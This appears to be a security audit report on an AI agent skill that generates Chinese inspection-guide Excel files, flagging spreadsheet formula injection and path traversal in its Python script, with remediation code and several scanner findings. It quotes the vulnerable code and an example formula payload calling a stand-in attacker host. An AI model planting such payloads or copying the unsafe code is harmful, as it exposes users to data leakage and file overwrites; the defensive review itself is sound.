检验指导书（SIP）生成技能

• Outcome: Review
• Latest audit: Sep 16, 2026 · 10:10 AM UTC
• Version: 0.1.0

Overview

This skill is mostly a local document-to-Excel generator, but its script has unsafe workbook output handling that users should review before installing.

Install only if you are comfortable running a local Excel-generation script on the documents you provide. Use trusted technical documents and templates, choose a controlled output directory, review generated workbook cells before sharing, and avoid product names or extracted values that begin with spreadsheet formula characters or contain path separators until the script is hardened.

A.I.G

Vulnerability Patterns

• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally

Findings (2)

T09 · Insecure Skill Coding Practices

Warning

• Location: scripts/generate_inspection_guide.py:328

Finding

Spreadsheet Formula Injection in Generated Workbooks

Content

View full analysis

Vulnerability Details

File Location: scripts/generate_inspection_guide.py, lines 328–334
Vulnerability Type: Spreadsheet formula injection
Risk Level: Medium

Vulnerable Code

python

for item_idx, item_data in enumerate(inspection_items):
    row_idx = start_row + item_idx
    
    for field, col_idx in field_to_col.items():
        value = item_data.get(field, "")
        cell = ws.cell(row=row_idx, column=col_idx, value=value)
        cell.font = CELL_FONT
        cell.alignment = CELL_ALIGNMENT
        cell.border = THIN_BORDER

Technical Analysis

Inspection values derived from user-provided technical documents are written directly into workbook cells without validation or neutralization. Spreadsheet applications may interpret strings beginning with formula indicators such as =, +, -, or @ as formulas rather than literal text.

For example, an attacker-controlled inspection value could contain:

text

=HYPERLINK("https://attacker.example/collect","Open")

The generated workbook would preserve this as a formula. Its behavior would then depend on the spreadsheet application and its security configuration. Possible effects include misleading displayed content, external-resource requests, data disclosure through crafted formulas, and application-specific dangerous behavior.

Attack Path

1. An attacker supplies a technical document containing a formula-like value in a field expected to be extracted into an inspection item.
2. The Agent places the value into the inspection_data JSON without neutralizing spreadsheet syntax.
3. fill_inspection_data() retrieves the attacker-controlled value.
4. The value is passed directly to ws.cell(..., value=value).
5. The generated workbook is delivered to a victim.
6. When the workbook is opened, the spreadsheet application may evaluate or expose the attacker-controlled formula.

Impact Assessment

Exploitat ...[truncated 575 chars]

Remediation

View remediation

Remediation Suggestions

Treat all document-derived cell values as untrusted text:

1. Convert values to strings where appropriate.
2. Inspect the first non-whitespace character.
3. Neutralize values beginning with =, +, -, or @, for example by prefixing an apostrophe.
4. Explicitly apply a text number format to cells containing untrusted textual data.
5. Add regression tests covering each formula prefix, leading whitespace, tabs, and newline-prefixed formulas.
6. If formulas are not a required feature, reject formula-like inputs rather than attempting to preserve them.

Example hardening logic:

python

def neutralize_spreadsheet_value(value):
    if not isinstance(value, str):
        return value

    candidate = value.lstrip()
    if candidate.startswith(("=", "+", "-", "@")):
        return "'" + value

    return value

value = neutralize_spreadsheet_value(item_data.get(field, ""))
cell = ws.cell(row=row_idx, column=col_idx, value=value)
cell.number_format = "@"

T09 · Insecure Skill Coding Practices

Warning

• Location: scripts/generate_inspection_guide.py:365

Finding

Path Traversal and Arbitrary Workbook Overwrite Through Product Name

Content

View full analysis

Vulnerability Details

File Location: scripts/generate_inspection_guide.py, lines 365–375
Vulnerability Type: Path traversal and unsafe file overwrite
Risk Level: Medium

Vulnerable Code

python

# 生成文件名
date_str = datetime.now().strftime("%Y%m%d")
filename = f"{product_name}_检验指导书_{date_str}.xlsx"

# 确保输出目录存在
if output_dir and not os.path.exists(output_dir):
    os.makedirs(output_dir)

# 保存文件
output_path = os.path.join(output_dir, filename)
wb.save(output_path)

Technical Analysis

The script interpolates product_name directly into a filename without rejecting absolute paths, path separators, traversal components such as .., or platform-specific reserved characters. It then joins the resulting value with output_dir and saves the workbook without confirming that the resolved destination remains inside the intended directory.

A crafted product name can therefore influence directory resolution and escape the configured output directory. The destination is also saved without an exclusive-create or collision check, so an existing writable file at the resolved .xlsx path may be overwritten.

The output_dir argument is independently unrestricted. This may be acceptable for a trusted command-line operator, but it increases the importance of constraining document-derived product_name.

Attack Path

1. An attacker controls a product name in an uploaded technical document, or otherwise influences the value passed to --product_name.
2. The Agent invokes the generator with that value.
3. The script embeds the product name directly into filename.
4. os.path.join() constructs the destination without canonical containment validation.
5. Traversal or absolute-path semantics cause the destination to resolve outside the expected output directory.
6. wb.save() creates or overwrites the resolved .xlsx file using the privileges of the process.

Impact Assessment

...[truncated 544 chars]

Remediation

View remediation

Remediation Suggestions

Enforce a strict output-path boundary:

1. Reject product names containing /, \, null bytes, .., drive prefixes, or absolute-path syntax.
2. Normalize the product name to an allowlisted filename component, such as letters, numbers, spaces, underscores, and hyphens.
3. Resolve both the trusted output directory and final destination with pathlib.Path.resolve().
4. Verify that the destination is a descendant of the trusted output directory before saving.
5. Refuse to overwrite existing files, or append a collision-resistant identifier.
6. Configure a trusted output root instead of accepting arbitrary output directories when the caller is not fully trusted.
7. Use race-resistant exclusive creation where overwrite prevention is security-sensitive.

Example containment validation:

python

import re
from pathlib import Path

safe_name = re.sub(r"[^A-Za-z0-9 _.-]", "_", product_name).strip()
if not safe_name or safe_name in {".", ".."}:
    raise ValueError("Invalid product name")

output_root = Path(output_dir).resolve()
output_root.mkdir(parents=True, exist_ok=True)

destination = (
    output_root / f"{safe_name}_inspection_guide_{date_str}.xlsx"
).resolve()

if destination.parent != output_root:
    raise ValueError("Output path escapes the permitted directory")

if destination.exists():
    raise FileExistsError(f"Refusing to overwrite: {destination}")

wb.save(destination)

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• MCP Tool Poisoning: Hidden Instructions, Unicode Deception, Parameter Description Injection
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code

Findings (8)

Tp2

High

• Category: MCP Tool Poisoning
• Confidence: 85% confidence

Finding

Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Content

No source excerpt is available for this finding.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 91% confidence

Finding

描述强调的是从产品技术文件中自动解析内容、抽取关键信息并生成标准化检验指导书，属于“文档理解/信息抽取 + 文档生成”能力。代码并没有解析产品技术文件正文，也没有从非结构化技术文件中提取检验项目；它仅接受外部传入的JSON检验数据，并将这些数据按模板写入Excel。虽然代码确实支持Excel模板，且对Word模板有非常有限的表头提取支持，但这不足以支撑“支持多种格式技术文件解析”的表述。因此描述明显高估了代码能力，存在实质性描述与行为不符。

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 94% confidence

Finding

The TRACE section explicitly states '支持中文交互', and the entire skill is written to operate in Chinese without any indication that users may choose another language. Under the policy rule, forcing a specific language or locale without opt-in is a natural-language policy violation unless the locale restriction is clearly justified as region-specific.

Content

No source excerpt is available for this finding.

Ae4

Medium

• Category: analysis-evasion
• Confidence: 80% confidence

Finding

Suspicious Unicode normalization or mixed-script content

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 89% confidence

Finding

The entire skill guidance is written as a Chinese-only format specification and does not indicate that users may choose another language or locale. Under the policy, forcing a specific language without user opt-in is a natural-language policy concern unless the regional constraint is explicitly justified.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 87% confidence

Finding

The file title and all user-facing guidance are written exclusively in Chinese, and there is no indication that users may choose another language or locale. Under the policy, forcing a specific language without user opt-in is a natural-language policy violation unless the locale restriction is explicitly justified.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 92% confidence

Finding

The module docstring, usage instructions, argument help text, and runtime messages are all presented only in Chinese. Under the policy, forcing a specific language without opt-in or a clearly documented region-specific justification is a natural-language policy violation.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low

• Category: Not specified by scanner
• Confidence: 88% confidence

Finding

This markdown skill describes reading user-uploaded product technical documents and generating a file, including that the output is saved in the current working directory. While the behavior is documented operationally, there is no user-facing caution in the warning/notes section about local file creation or handling of potentially sensitive technical documents, which falls under data/system-affecting behavior for markdown files.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.